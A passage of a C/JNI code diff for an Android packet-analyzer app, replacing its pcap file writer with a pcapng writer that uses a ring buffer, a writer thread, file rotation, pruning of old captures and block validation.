padded value). +static uint32_t option_wire_size(uint16_t data_len) { + uint16_t pad = (uint16_t)((4u - (data_len & 3u)) & 3u); + return 4u + data_len + pad; +} + +static void write_option(uint16_t code, const void *data, uint16_t data_len) { + static const uint8_t zeros[3] = {0, 0, 0}; + buffered_write(&code, 2); + buffered_write(&data_len, 2); + if (data_len > 0 && data) { + buffered_write(data, data_len); + uint16_t pad = (uint16_t)((4u - (data_len & 3u)) & 3u); + if (pad) buffered_write(zeros, pad); } - g_writer_ctx.filepath = strdup(path); - (*env)->ReleaseStringUTFChars(env, filepath, path); +} - // Open file for writing - g_writer_ctx.file = fopen(g_writer_ctx.filepath, "wb"); - if (!g_writer_ctx.file) { - LOGE("Failed to open file: %s", g_writer_ctx.filepath); - return JNI_FALSE; +static void write_endofopt(void) { + static const uint8_t eoo[4] = {0, 0, 0, 0}; + buffered_write(eoo, 4); +} + +// ───────────────────────────────────────────────────────────────────────────── +// COMMIT 1 — Section Header Block +// ───────────────────────────────────────────────────────────────────────────── +static void write_shb(void) { + static const char os_str[] = "Android (Kali NetHunter)"; + static const char hw_str[] = "AndroNet v1.0"; + uint16_t os_len = (uint16_t)strlen(os_str); + uint16_t hw_len = (uint16_t)strlen(hw_str); + + uint32_t opts_len = option_wire_size(os_len) // shb_os (code 3) + + option_wire_size(hw_len) // shb_userappl (code 4) + + 4u; // end-of-opt + + // Fixed SHB header: type(4)+len(4)+BOM(4)+major(2)+minor(2)+sec_len(8) = 24 + // Plus options and trailing block length. + uint32_t block_len = 24u + opts_len + 4u; + g_ctx.shb_block_len = block_len; + + // Write type, block length, BOM, version (16 bytes before section_length). + uint32_t type = PCAPNG_SHB_TYPE; + buffered_write(&type, 4); + buffered_write(&block_len, 4); + uint32_t bom = PCAPNG_BYTE_ORDER; + buffered_write(&bom, 4); + uint16_t ver_maj = 1, ver_min = 0; + buffered_write(&ver_maj, 2); + buffered_write(&ver_min, 2); + + // Flush so ftell() is accurate, then record the position of section_length. + flush_write_buffer(); + // At this point the file is exactly SHB_SECTION_LEN_OFFSET bytes long. + + // COMMIT 2 — section_length placeholder; patched on close (COMMIT 4). + uint64_t sec_len_placeholder = 0xFFFFFFFFFFFFFFFFULL; + buffered_write(&sec_len_placeholder, 8); + + // Options: shb_os (3) and shb_userappl (4). + write_option(3u, os_str, os_len); + write_option(4u, hw_str, hw_len); + write_endofopt(); + + buffered_write(&block_len, 4); // trailing Block Total Length +} + +// ───────────────────────────────────────────────────────────────────────────── +// COMMIT 1 — Interface Description Block +// ───────────────────────────────────────────────────────────────────────────── +static void write_idb(void) { + const char *ifname = g_ctx.if_name ? g_ctx.if_name : "tun0"; + uint16_t if_len = (uint16_t)strlen(ifname); + // COMMIT 2 — if_tsresol = 0x09 → 10^-9 = nanoseconds + uint8_t tsresol = 0x09u; + + uint32_t opts_len = option_wire_size(if_len) // if_name (code 2) + + option_wire_size(1u) // if_tsresol (code 9) + + 4u; // end-of-opt + + // Fixed IDB header: type(4)+len(4)+link_type(2)+reserved(2)+snaplen(4) = 16 + uint32_t block_len = 16u + opts_len + 4u; + + uint32_t type = PCAPNG_IDB_TYPE; + buffered_write(&type, 4); + buffered_write(&block_len, 4); + uint16_t link_type = (uint16_t)g_ctx.linktype; + uint16_t reserved = 0u; + buffered_write(&link_type, 2); + buffered_write(&reserved, 2); + uint32_t snaplen = 65535u; + buffered_write(&snaplen, 4); + + write_option((uint16_t)OPT_IF_NAME, ifname, if_len); + write_option((uint16_t)OPT_IF_TSRESOL, &tsresol, 1u); + write_endofopt(); + + buffered_write(&block_len, 4); // trailing Block Total Length +} + +// ───────────────────────────────────────────────────────────────────────────── +// COMMIT 4 — Finalize current file: patch section_length, fsync, close. +// ───────────────────────────────────────────────────────────────────────────── +static void finalize_current_file(int write_trailer) { + if (!g_ctx.file) return; + + flush_write_buffer(); + + long final_pos = ftell(g_ctx.file); + + // Compute section_length = bytes from first byte of IDB to final_pos. + // section_length excludes the SHB block itself. + uint64_t section_len = (uint64_t)(final_pos - (long)g_ctx.shb_block_len); + + // Patch Section Length field at file offset SHB_SECTION_LEN_OFFSET (= 16). + fseek(g_ctx.file, (long)SHB_SECTION_LEN_OFFSET, SEEK_SET); + fwrite(§ion_len, 8, 1, g_ctx.file); + fseek(g_ctx.file, final_pos, SEEK_SET); + + if (write_trailer) { + // COMMIT 4 — write truncation sentinel AFTER section content. + uint32_t sentinel = MAGIC_TRAILER; + fwrite(&sentinel, 4, 1, g_ctx.file); } - // Set linktype - g_writer_ctx.linktype = (linktype == 0) ? LINKTYPE_RAW : linktype; - g_writer_ctx.packet_count = 0; - g_writer_ctx.total_bytes = 0; - - // Write PCAP file header - pcap_file_header_t file_header = { - .magic = PCAP_MAGIC, - .version_major = PCAP_VERSION_MAJOR, - .version_minor = PCAP_VERSION_MINOR, - .thiszone = 0, - .sigfigs = 0, - .snaplen = PCAP_SNAPLEN, - .linktype = g_writer_ctx.linktype - }; + if (g_ctx.fd >= 0) fsync(g_ctx.fd); - size_t written = fwrite(&file_header, sizeof(pcap_file_header_t), 1, g_writer_ctx.file); - if (written != 1) { - LOGE("Failed to write PCAP file header"); - fclose(g_writer_ctx.file); - g_writer_ctx.file = NULL; - return JNI_FALSE; + fclose(g_ctx.file); + g_ctx.file = NULL; + g_ctx.fd = -1; +} + +// ───────────────────────────────────────────────────────────────────────────── +// File rotation helpers (COMMIT 7) +// ───────────────────────────────────────────────────────────────────────────── +static char *make_rotated_filepath(const char *dir, uint32_t seq) { + char buf[64]; + time_t now = time(NULL); + struct tm *t = localtime(&now); + if (seq == 0) { + strftime(buf, sizeof buf, "andronet_%Y%m%d_%H%M%S.pcapng", t); + } else { + char base[48], suffix[16]; + strftime(base, sizeof base, "andronet_%Y%m%d_%H%M%S", t); + snprintf(suffix, sizeof suffix, "_%u.pcapng", seq); + snprintf(buf, sizeof buf, "%s%s", base, suffix); } + size_t dlen = strlen(dir); + char *full = (char *)malloc(dlen + strlen(buf) + 2); + if (!full) return NULL; + memcpy(full, dir, dlen); + full[dlen] = '/'; + strcpy(full + dlen + 1, buf); + return full; +} - fflush(g_writer_ctx.file); +// Deletes the oldest rotated captures in `dir` beyond `max_files`, so +// nativeSetRotationSettings's max_files actually bounds disk usage instead +// of only being logged. Directories here hold at most a few dozen rotated +// captures, so the O(n^2) selection sort below is not a concern. +#define PURGE_MAX_TRACKED_FILES 256 +static void purge_old_files(const char *dir, int max_files) { + if (max_files <= 0) return; - LOGI("PCAP writer initialized: %s (linktype=%d)", g_writer_ctx.filepath, g_writer_ctx.linktype); - return JNI_TRUE; + DIR *d = opendir(dir); + if (!d) { + LOGE("purge_old_files: cannot open dir %s", dir); + return; + } + + char *paths[PURGE_MAX_TRACKED_FILES]; + time_t mtimes[PURGE_MAX_TRACKED_FILES]; + int count = 0; + + struct dirent *entry; + while ((entry = readdir(d)) != NULL && count < PURGE_MAX_TRACKED_FILES) { + const char *name = entry->d_name; + size_t len = strlen(name); + // Only ever touch files we ourselves rotated: "andronet_...pcapng". + if (len < 16) continue; + if (strncmp(name, "andronet_", 9) != 0) continue; + if (strcmp(name + len - 7, ".pcapng") != 0) continue; + + size_t dlen = strlen(dir); + char *full = (char *)malloc(dlen + len + 2); + if (!full) continue; + memcpy(full, dir, dlen); + full[dlen] = '/'; + strcpy(full + dlen + 1, name); + + // Never delete the file currently being written to. + if (g_ctx.current_path && strcmp(full, g_ctx.current_path) == 0) { + free(full); + continue; + } + + struct stat st; + if (stat(full, &st) != 0) { + free(full); + continue; + } + + paths[count] = full; + mtimes[count] = st.st_mtime; + count++; + } + closedir(d); + + if (count > max_files) { + // Selection sort, oldest first. + for (int i = 0; i < count - 1; i++) { + int oldest = i; + for (int j = i + 1; j < count; j++) { + if (mtimes[j] < mtimes[oldest]) oldest = j; + } + if (oldest != i) { + char *tmp_path = paths[i]; paths[i] = paths[oldest]; paths[oldest] = tmp_path; + time_t tmp_time = mtimes[i]; mtimes[i] = mtimes[oldest]; mtimes[oldest] = tmp_time; + } + } + + int to_delete = count - max_files; + for (int i = 0; i < to_delete; i++) { + if (remove(paths[i]) == 0) { + LOGI("Rotation: pruned old capture %s", paths[i]); + } else { + LOGE("Rotation: failed to prune %s", paths[i]); + } + } + } + + for (int i = 0; i < count; i++) free(paths[i]); } -// JNI: Write a packet to PCAP file -JNIEXPORT jboolean JNICALL -Java_com_example_packet_1analyzer_PcapWriter_nativeWritePacket(JNIEnv *env, jobject thiz, - jbyteArray packet_data, - jlong timestamp_ms) { - if (!g_writer_ctx.file) { - LOGE("PCAP writer not initialized"); - return JNI_FALSE; +// ───────────────────────────────────────────────────────────────────────────── +// Open a new pcapng file and write SHB + IDB. +// Closes and finalizes any previously open file first. +// ───────────────────────────────────────────────────────────────────────────── +static int open_pcapng_file(const char *path) { + finalize_current_file(1 /* write sentinel on rotation too */); + + g_ctx.file = fopen(path, "wb"); + if (!g_ctx.file) { + LOGE("Cannot open pcapng file: %s", path); + return 0; } + g_ctx.fd = fileno(g_ctx.file); - // Get packet data - jsize packet_len = (*env)->GetArrayLength(env, packet_data); - jbyte *packet_bytes = (*env)->GetByteArrayElements(env, packet_data, NULL); + free(g_ctx.current_path); + g_ctx.current_path = strdup(path); + g_ctx.current_file_size = 0u; + g_ctx.file_start_time = time(NULL); + g_ctx.wbuf_pos = 0u; + g_ctx.shb_block_len = 0u; - if (!packet_bytes) { - LOGE("Failed to get packet data"); - return JNI_FALSE; + write_shb(); + write_idb(); + flush_write_buffer(); // commit SHB + IDB immediately + + LOGI("Opened pcapng: %s (if=%s, linktype=%d)", + path, g_ctx.if_name ? g_ctx.if_name : "?", g_ctx.linktype); + return 1; +} + +// ───────────────────────────────────────────────────────────────────────────── +// COMMIT 7 — Rotation check (called by writer thread before each EPB write) +// ───────────────────────────────────────────────────────────────────────────── +static void check_rotation(void) { + if (!g_ctx.file) return; + + int rotate = 0; + + if (g_ctx.max_size_bytes > 0) { + int64_t approx_size = (int64_t)(g_ctx.current_file_size + g_ctx.wbuf_pos); + if (approx_size >= g_ctx.max_size_bytes) { + LOGI("Rotation triggered: size (%lld >= %lld bytes)", + (long long)approx_size, (long long)g_ctx.max_size_bytes); + rotate = 1; + } } + if (!rotate && g_ctx.max_duration_s > 0) { + time_t elapsed = time(NULL) - g_ctx.file_start_time; + if (elapsed >= (time_t)g_ctx.max_duration_s) { + LOGI("Rotation triggered: duration (%ld s >= %d s)", + (long)elapsed, g_ctx.max_duration_s); + rotate = 1; + } + } + + if (rotate) { + g_ctx.rotation_count++; + char *new_path = make_rotated_filepath(g_ctx.base_dir, g_ctx.rotation_count); + if (!new_path) return; + open_pcapng_file(new_path); + if (g_ctx.max_files > 0) purge_old_files(g_ctx.base_dir, g_ctx.max_files); + free(new_path); + } +} - // Convert timestamp from milliseconds to seconds and microseconds - uint32_t ts_sec = (uint32_t)(timestamp_ms / 1000); - uint32_t ts_usec = (uint32_t)((timestamp_ms % 1000) * 1000); +// ───────────────────────────────────────────────────────────────────────────── +// COMMIT 3 — Write Enhanced Packet Block (with optional annotation option) +// COMMIT 9 — annotation written as EPB custom option 2988 when non-empty +// ───────────────────────────────────────────────────────────────────────────── +static void write_epb(const uint8_t *pkt, uint32_t cap_len, + uint32_t orig_len, uint64_t ts_ns, + const char *annotation) { + // COMMIT 2 — nanosecond timestamp split into two 32-bit words. + uint32_t ts_high = (uint32_t)(ts_ns >> 32); + uint32_t ts_low = (uint32_t)(ts_ns & 0xFFFFFFFFULL); - // Write packet header - pcap_packet_header_t pkt_header = { - .ts_sec = ts_sec, - .ts_usec = ts_usec, - .incl_len = (uint32_t)packet_len, - .orig_len = (uint32_t)packet_len - }; + uint16_t pkt_pad = (uint16_t)((4u - (cap_len & 3u)) & 3u); - size_t written = fwrite(&pkt_header, sizeof(pcap_packet_header_t), 1, g_writer_ctx.file); - if (written != 1) { - LOGE("Failed to write packet header"); - (*env)->ReleaseByteArrayElements(env, packet_data, packet_bytes, JNI_ABORT); - return JNI_FALSE; + // Fixed EPB header: type(4)+len(4)+iface_id(4)+ts_hi(4)+ts_lo(4)+ + // cap_len(4)+orig_len(4) = 28 bytes; trailing len(4) = 32 + uint32_t block_len = 32u + cap_len + pkt_pad; + + // COMMIT 9 — annotation option + uint16_t ann_len = 0u; + uint16_t ann_pad = 0u; + if (annotation && annotation[0] != '\0') { + ann_len = (uint16_t)strlen(annotation); + if (ann_len > 511u) ann_len = 511u; + ann_pad = (uint16_t)((4u - (ann_len & 3u)) & 3u); + // option_wire_size(ann_len) + end-of-opt(4) + block_len += option_wire_size(ann_len) + 4u; } - // Write packet data - written = fwrite(packet_bytes, 1, packet_len, g_writer_ctx.file); - if (written != packet_len) { - LOGE("Failed to write packet data (expected %d, wrote %zu)", packet_len, written); - (*env)->ReleaseByteArrayElements(env, packet_data, packet_bytes, JNI_ABORT); - return JNI_FALSE; +#ifdef DEBUG + assert(block_len % 4u == 0u); + assert(cap_len <= orig_len); +#endif + + uint32_t type = PCAPNG_EPB_TYPE; + uint32_t iface_id = 0u; + static const uint8_t zeros[4] = {0, 0, 0, 0}; + + buffered_write(&type, 4); + buffered_write(&block_len,4); + buffered_write(&iface_id, 4); + buffered_write(&ts_high, 4); + buffered_write(&ts_low, 4); + buffered_write(&cap_len, 4); + buffered_write(&orig_len, 4); + buffered_write(pkt, cap_len); + if (pkt_pad) buffered_write(zeros, pkt_pad); + + // COMMIT 9 — write annotation option (only for flagged packets) + if (ann_len > 0u) { + uint16_t opt_code = (uint16_t)OPT_CUSTOM_COPY; + buffered_write(&opt_code, 2); + buffered_write(&ann_len, 2); + buffered_write(annotation, ann_len); + if (ann_pad) buffered_write(zeros, ann_pad); + write_endofopt(); } - // Update statistics - g_writer_ctx.packet_count++; - g_writer_ctx.total_bytes += packet_len; + // Trailing Block Total Length — MUST equal leading value (RFC 7663 §3.1) + buffered_write(&block_len, 4); - // Flush periodically (every 100 packets) - if (g_writer_ctx.packet_count % 100 == 0) { - fflush(g_writer_ctx.file); +#ifdef DEBUG + // Verify the assertion holds for the values we just wrote. + assert(block_len == 32u + cap_len + pkt_pad + + (ann_len > 0u ? (option_wire_size(ann_len) + 4u) : 0u)); +#endif +} + +// ───────────────────────────────────────────────────────────────────────────── +// COMMIT 5 — Ring buffer producer (called from JNI / capture thread) +// ───────────────────────────────────────────────────────────────────────────── +static void ring_produce(const uint8_t *data, uint32_t len, uint32_t orig_len, + uint64_t ts_ns, const char *annotation) { + int wh = g_ctx.ring.write_head; + int next = (wh + 1) % RING_BUFFER_SIZE; + + if (next == g_ctx.ring.read_head) { + // Ring full — drop packet. + g_ctx.ring.dropped++; + g_ctx.dropped_packets++; + LOGD("Ring full: %llu drops so far", (unsigned long long)g_ctx.ring.dropped); + return; } - (*env)->ReleaseByteArrayElements(env, packet_data, packet_bytes, JNI_ABORT); - return JNI_TRUE; + RingSlot *slot = &g_ctx.ring.slots[wh]; + + uint32_t copy_len = (len < RING_SLOT_SIZE) ? len : (uint32_t)RING_SLOT_SIZE; + memcpy(slot->data, data, copy_len); + slot->length = copy_len; + slot->orig_length = orig_len; + slot->timestamp_ns = ts_ns; + + if (annotation && annotation[0] != '\0') { + strncpy(slot->annotation, annotation, sizeof slot->annotation - 1u); + slot->annotation[sizeof slot->annotation - 1u] = '\0'; + } else { + slot->annotation[0] = '\0'; + } + + // Memory barrier: ensure all slot data is visible before setting ready. + __sync_synchronize(); + slot->ready = 1; + + // Advance write head — barrier ensures ready=1 is visible first. + __sync_synchronize(); + g_ctx.ring.write_head = next; + __sync_synchronize(); } -// JNI: Get statistics -JNIEXPORT jobject JNICALL -Java_com_example_packet_1analyzer_PcapWriter_nativeGetStats(JNIEnv *env, jobject thiz) { - // Create HashMap for stats - jclass hashMapClass = (*env)->FindClass(env, "java/util/HashMap"); - jmethodID hashMapInit = (*env)->GetMethodID(env, hashMapClass, "", "()V"); - jmethodID hashMapPut = (*env)->GetMethodID(env, hashMapClass, "put", - "(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;"); +// ───────────────────────────────────────────────────────────────────────────── +// COMMIT 5+6+7 — Dedicated writer thread (consumer of the ring buffer) +// ───────────────────────────────────────────────────────────────────────────── +static void *writer_thread(void *arg) { + (void)arg; + LOGI("pcapng writer thread started (ring=%d slots, wbuf=%d KB)", + RING_BUFFER_SIZE, WRITE_BUFFER_SIZE / 1024); + + static const struct timespec IDLE_SLEEP = {0, 5000000L}; // 5 ms + + while (1) { + // Memory barrier: see latest write_head from producer. + __sync_synchronize(); + + int rh = g_ctx.ring.read_head; + int wh = g_ctx.ring.write_head; - jobject statsMap = (*env)->NewObject(env, hashMapClass, hashMapInit); + if (rh == wh) { + // Ring empty. + if (!g_ctx.ring.running) break; // normal shutdown - // Helper to add long to map - #define PUT_LONG(key, value) { \ - jstring jkey = (*env)->NewStringUTF(env, key); \ - jclass longClass = (*env)->FindClass(env, "java/lang/Long"); \ - jmethodID longInit = (*env)->GetMethodID(env, longClass, "", "(J)V"); \ - jobject jvalue = (*env)->NewObject(env, longClass, longInit, (jlong)value); \ - (*env)->CallObjectMethod(env, statsMap, hashMapPut, jkey, jvalue); \ - (*env)->DeleteLocalRef(env, jkey); \ - (*env)->DeleteLocalRef(env, jvalue); \ + // COMMIT 6 — flush write buffer on 500 ms idle. + if (g_ctx.wbuf_pos > 0) flush_write_buffer(); + + nanosleep(&IDLE_SLEEP, NULL); + continue; + } + + RingSlot *slot = &g_ctx.ring.slots[rh]; + + // Wait for slot to be fully written by producer (rare spin). + __sync_synchronize(); + if (slot->ready != 1) continue; + + slot->ready = 2; + __sync_synchronize(); + + // COMMIT 7 — rotate before writing if limits exceeded. + check_rotation(); + + if (g_ctx.file) { + write_epb(slot->data, slot->length, slot->orig_length, + slot->timestamp_ns, slot->annotation); + g_ctx.packet_count++; + + // COMMIT 6 — flush when buffer is large or on timer. + time_t now = time(NULL); + if (g_ctx.wbuf_pos >= (size_t)(WRITE_BUFFER_SIZE * 3 / 4) || + now != g_ctx.last_flush_time) { + flush_write_buffer(); + } + } + + // Mark slot empty and advance read head. + slot->ready = 0; + __sync_synchronize(); + g_ctx.ring.read_head = (rh + 1) % RING_BUFFER_SIZE; + __sync_synchronize(); + } + + // Drain any remaining filled slots after running=0. + int rh = g_ctx.ring.read_head; + while (rh != g_ctx.ring.write_head) { + RingSlot *slot = &g_ctx.ring.slots[rh]; + __sync_synchronize(); + if (slot->ready == 1 && g_ctx.file) { + write_epb(slot->data, slot->length, slot->orig_length, + slot->timestamp_ns, slot->annotation); + g_ctx.packet_count++; + slot->ready = 0; + __sync_synchronize(); + } + rh = (rh + 1) % RING_BUFFER_SIZE; } + g_ctx.ring.read_head = rh; + + flush_write_buffer(); + LOGI("pcapng writer thread exited (%llu packets, %llu drops)", + (unsigned long long)g_ctx.packet_count, + (unsigned long long)g_ctx.dropped_packets); + return NULL; +} - // Helper to add string to map - #define PUT_STRING(key, value) { \ - jstring jkey = (*env)->NewStringUTF(env, key); \ - jstring jvalue = (*env)->NewStringUTF(env, value); \ - (*env)->CallObjectMethod(env, statsMap, hashMapPut, jkey, jvalue); \ - (*env)->DeleteLocalRef(env, jkey); \ - (*env)->DeleteLocalRef(env, jvalue); \ +// ───────────────────────────────────────────────────────────────────────────── +// COMMIT 14 — Block-level integrity validation (static helper + JNI export) +// ───────────────────────────────────────────────────────────────────────────── +static int validate_pcapng_file_internal(const char *path) { + FILE *f = fopen(path, "rb"); + if (!f) { LOGE("validate: cannot open %s", path); return -1; } + + // Verify SHB type and byte-order magic. + uint32_t blk_type = 0u; + if (fread(&blk_type, 4, 1, f) != 1 || blk_type != PCAPNG_SHB_TYPE) { + LOGE("validate: not pcapng (type=0x%08X)", blk_type); + fclose(f); return -1; + } + uint32_t shb_len = 0u; + fread(&shb_len, 4, 1, f); + uint32_t bom = 0u; + fread(&bom, 4, 1, f); + if (bom != PCAPNG_BYTE_ORDER) { + LOGE("validate: bad BOM 0x%08X", bom); + fclose(f); return -1; } - PUT_LONG("packetCount", g_writer_ctx.packet_count); - PUT_LONG("totalBytes", g_writer_ctx.total_bytes); - PUT_STRING("filepath", g_writer_ctx.filepath ? g_writer_ctx.filepath : ""); + // Skip rest of SHB. + if (shb_len < 12u) { fclose(f); return -1; } + fseek(f, (long)shb_len, SEEK_SET); + + int epb_count = 0; + while (1) { + uint32_t type = 0u, len_start = 0u, len_end = 0u; + if (fread(&type, 4, 1, f) != 1) break; + if (fread(&len_start, 4, 1, f) != 1) break; + + if (len_start < 12u || (len_start & 3u) != 0u) { + LOGE("validate: corrupt block len=%u type=0x%08X", len_start, type); + fclose(f); return -1; + } + + // Skip to trailing length field (len_start includes type + len + trailing_len). + long skip = (long)len_start - 8 - 4; + if (skip < 0 || fseek(f, skip, SEEK_CUR) != 0) break; + + if (fread(&len_end, 4, 1, f) != 1) break; - #undef PUT_LONG - #undef PUT_STRING + if (len_start != len_end) { + LOGE("validate: block length mismatch start=%u end=%u type=0x%08X", + len_start, len_end, type); + fclose(f); return -1; + } - return statsMap; + if (type == PCAPNG_EPB_TYPE) epb_count++; + } + + fclose(f); + LOGI("validate: %s OK — %d EPBs", path, epb_count); + return epb_count; } -// JNI: Close PCAP file -JNIEXPORT void JNICALL -Java_com_example_packet_1analyzer_PcapWriter_nativeClose(JNIEnv *env, jobject thiz) { - LOGI("Closing PCAP writer"); +// ───────────────────────────────────────────────────────────────────────────── +// Internal: stop writer thread cleanly. +// ───────────────────────────────────────────────────────────────────────────── +static void stop_writer_thread(void) { + if (g_ctx.ring.running) { + g_ctx.ring.running = 0; + __sync_synchronize(); + pthread_join(g_ctx.ring.writer_thread, NULL); + } +} + +// ───────────────────────────────────────────────────────────────────────────── +// JNI: nativeInit +// ───────────────────────────────────────────────────────────────────────────── +JNIEXPORT jboolean JNICALL +Java_com_example_packet_1analyzer_PcapWriter_nativeInit( + JNIEnv *env, jobject thiz, jstring jpath, jint linktype) { + pthread_mutex_lock(&g_init_mtx); + + stop_writer_thread(); + finalize_current_file(0 /* no sentinel on re-init */); + + const char *path = (*env)->GetStringUTFChars(env, jpath, NULL); + + // Extract base directory. + free(g_ctx.base_dir); + char *dir_copy = strdup(path); + char *slash = strrchr(dir_copy, '/'); + if (slash) { *slash = '\0'; g_ctx.base_dir = strdup(dir_copy); } + else { g_ctx.base_dir = strdup("."); } + free(dir_copy); + + free(g_ctx.if_name); + free(g_ctx.current_path); + g_ctx.current_path = NULL; + + // COMMIT 12 — use interface info set via nativeSetInterfaceInfo if available. + if (g_pending_if_name) { + g_ctx.if_name = strdup(g_pending_if_name); + g_ctx.linktype = (g_pending_linktype >= 0) ? g_pending_linktype + : (int)linktype; + free(g_pending_if_name); + g_pending_if_name = NULL; + g_pending_linktype = -1; + } else { + g_ctx.linktype = (linktype == 0) ? LINKTYPE_RAW : (int)linktype; + g_ctx.if_name = strdup(g_ctx.linktype == LINKTYPE_ETHERNET ? "wlan0" : "tun0"); + } + + // Reset stats. + g_ctx.packet_count = 0u; + g_ctx.dropped_packets = 0u; + g_ctx.rotation_count = 0u; + g_ctx.last_flush_time = time(NULL); + + // Rotation defaults. + g_ctx.max_size_bytes = DEFAULT_MAX_SIZE; + g_ctx.max_duration_s = DEFAULT_MAX_DURATION; + g_ctx.max_files = DEFAULT_MAX_FILES; - if (g_writer_ctx.file) { - fflush(g_writer_ctx.file); - fclose(g_writer_ctx.file); - g_writer_ctx.file = NULL; + // Reset ring buffer. + memset(&g_ctx.ring, 0, sizeof g_ctx.ring); - LOGI("PCAP file closed: %d packets, %llu bytes", - g_writer_ctx.packet_count, - (unsigned long long)g_writer_ctx.total_bytes); + int ok = open_pcapng_file(path); + (*env)->ReleaseStringUTFChars(env, jpath, path); + + if (!ok) { + pthread_mutex_unlock(&g_init_mtx); + return JNI_FALSE; } - if (g_writer_ctx.filepath) { - free(g_writer_ctx.filepath); - g_writer_ctx.filepath = NULL; + g_ctx.initialized = 1; + g_ctx.ring.running = 1; + g_ctx.ring.write_head = 0; + g_ctx.ring.read_head = 0; + + // COMMIT 5 — start dedicated writer thread. + if (pthread_create(&g_ctx.ring.writer_thread, NULL, writer_thread, NULL) != 0) { + LOGE("pthread_create failed — falling back to synchronous (no ring buffer)"); + g_ctx.ring.running = 0; } - g_writer_ctx.packet_count = 0; - g_writer_ctx.total_bytes = 0; + LOGI("pcapng init OK: %s (if=%s, linktype=%d)", + g_ctx.current_path, g_ctx.if_name, g_ctx.linktype); + pthread_mutex_unlock(&g_init_mtx); + return JNI_TRUE; +} + +// ───────────────────────────────────────────────────────────────────────────── +// JNI: nativeWritePacket — normal (non-annotated) path +// ───────────────────────────────────────────────────────────────────────────── +JNIEXPORT jboolean JNICALL +Java_com_example_packet_1analyzer_PcapWriter_nativeWritePacket( + JNIEnv *env, jobject thiz, jbyteArray jpkt, jlong timestamp_ms) { + if (!g_ctx.initialized || !g_ctx.file) { + LOGE("Writer not initialized"); + return JNI_FALSE; + } + + jsize pkt_len = (*env)->GetArrayLength(env, jpkt); + jbyte *pkt_bytes = (*env)->GetByteArrayElements(env, jpkt, NULL); + if (!pkt_bytes) return JNI_FALSE; + + // COMMIT 2 — get true nanosecond timestamp from the C layer. + struct timespec ts; + clock_gettime(CLOCK_REALTIME, &ts); + uint64_t ts_ns = (uint64_t)ts.tv_sec * 1000000000ULL + (uint64_t)ts.tv_nsec; + + // Fallback if clock unavailable: convert ms to ns. + if (ts_ns == 0u) + ts_ns = (uint64_t)timestamp_ms * 1000000ULL; + + ring_produce((const uint8_t *)pkt_bytes, (uint32_t)pkt_len, + (uint32_t)pkt_len, ts_ns, NULL); + + (*env)->ReleaseByteArrayElements(env, jpkt, pkt_bytes, JNI_ABORT); + return JNI_TRUE; +} + +// ───────────────────────────────────────────────────────────────────────────── +// JNI: nativeWriteAnnotatedPacket — COMMIT 9 (flagged / anomaly packets) +// +// The Kotlin side (PcapWriter.kt) declares this `timestampMs` and passes +// milliseconds (System.currentTimeMillis() / a millisecond epoch from +// PacketAnalysisManager) — same convention as nativeWritePacket above. This +// used to be treated as *already nanoseconds* with no conversion, so every +// anomaly-annotated packet got a timestamp near the 1970 epoch. Fixed to +// mirror nativeWritePacket's behavior: prefer the live clock, fall back to +// a ms->ns conversion of the caller-supplied value. +// ───────────────────────────────────────────────────────────────────────────── +JNIEXPORT jboolean JNICALL +Java_com_example_packet_1analyzer_PcapWriter_nativeWriteAnnotatedPacket( + JNIEnv *env, jobject thiz, + jbyteArray jpkt, jlong timestamp_ms, jstring jannotation) { + if (!g_ctx.initialized || !g_ctx.file) return JNI_FALSE; + + jsize pkt_len = (*env)->GetArrayLength(env, jpkt); + jbyte *pkt_bytes = (*env)->GetByteArrayElements(env, jpkt, NULL); + if (!pkt_bytes) return JNI_FALSE; + + const char *annotation = NULL; + if (jannotation) + annotation = (*env)->GetStringUTFChars(env, jannotation, NULL); + + struct timespec ts; + clock_gettime(CLOCK_REALTIME, &ts); + uint64_t ts_ns = (uint64_t)ts.tv_sec * 1000000000ULL + (uint64_t)ts.tv_nsec; + + // Fallback if clock unavailable: convert the caller-supplied ms to ns. + if (ts_ns == 0u) + ts_ns = (uint64_t)timestamp_ms * 1000000ULL; + + ring_produce((const uint8_t *)pkt_bytes, (uint32_t)pkt_len, + (uint32_t)pkt_len, ts_ns, annotation); + + if (annotation) (*env)->ReleaseStringUTFChars(env, jannotation, annotation); + (*env)->ReleaseByteArrayElements(env, jpkt, pkt_bytes, JNI_ABORT); + return JNI_TRUE; +} + +// ───────────────────────────────────────────────────────────────────────────── +// JNI: nativeGetStats +// ───────────────────────────────────────────────────────────────────────────── +JNIEXPORT jobject JNICALL +Java_com_example_packet_1analyzer_PcapWriter_nativeGetStats( + JNIEnv *env, jobject thiz) { + jclass hmc = (*env)->FindClass(env, "java/util/HashMap"); + jmethodID hmi = (*env)->GetMethodID(env, hmc, "", "()V"); + jmethodID hmp = (*env)->GetMethodID(env, hmc, "put", + "(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;"); + jobject map = (*env)->NewObject(env, hmc, hmi); + + jclass lc = (*env)->FindClass(env, "java/lang/Long"); + jmethodID li = (*env)->GetMethodID(env, lc, "", "(J)V"); + +#define PUT_LONG(key, val) do { \ + jstring k = (*env)->NewStringUTF(env, (key)); \ + jobject v = (*env)->NewObject(env, lc, li, (jlong)(val)); \ + (*env)->CallObjectMethod(env, map, hmp, k, v); \ + (*env)->DeleteLocalRef(env, k); \ + (*env)->DeleteLocalRef(env, v); \ +} while (0) + +#define PUT_STR(key, val) do { \ + jstring k = (*env)->NewStringUTF(env, (key)); \ + jstring v = (*env)->NewStringUTF(env, (val) ? (val) : ""); \ + (*env)->CallObjectMethod(env, map, hmp, k, v); \ + (*env)->DeleteLocalRef(env, k); \ + (*env)->DeleteLocalRef(env, v); \ +} while (0) + + PUT_LONG("packetCount", g_ctx.packet_count); + PUT_LONG("droppedPackets", g_ctx.dropped_packets); + PUT_LONG("currentFileSizeBytes", + (int64_t)(g_ctx.current_file_size + g_ctx.wbuf_pos)); + PUT_LONG("rotationCount", g_ctx.rotation_count); + PUT_LONG("captureStartEpochMs", + (int64_t)g_ctx.file_start_time * 1000LL); + PUT_STR("filepath", g_ctx.current_path); + +#undef PUT_LONG +#undef PUT_STR + + return map; +} + +// ───────────────────────────────────────────────────────────────────────────── +// JNI: nativeClose — COMMIT 4 (section length, fsync, sentinel) +// ───────────────────────────────────────────────────────────────────────────── +JNIEXPORT void JNICALL +Java_com_example_packet_1analyzer_PcapWriter_nativeClose( + JNIEnv *env, jobject thiz) { + LOGI("nativeClose called"); + if (!g_ctx.initialized) return; + + stop_writer_thread(); + finalize_current_file(1 /* write sentinel */); + + LOGI("pcapng closed: %llu 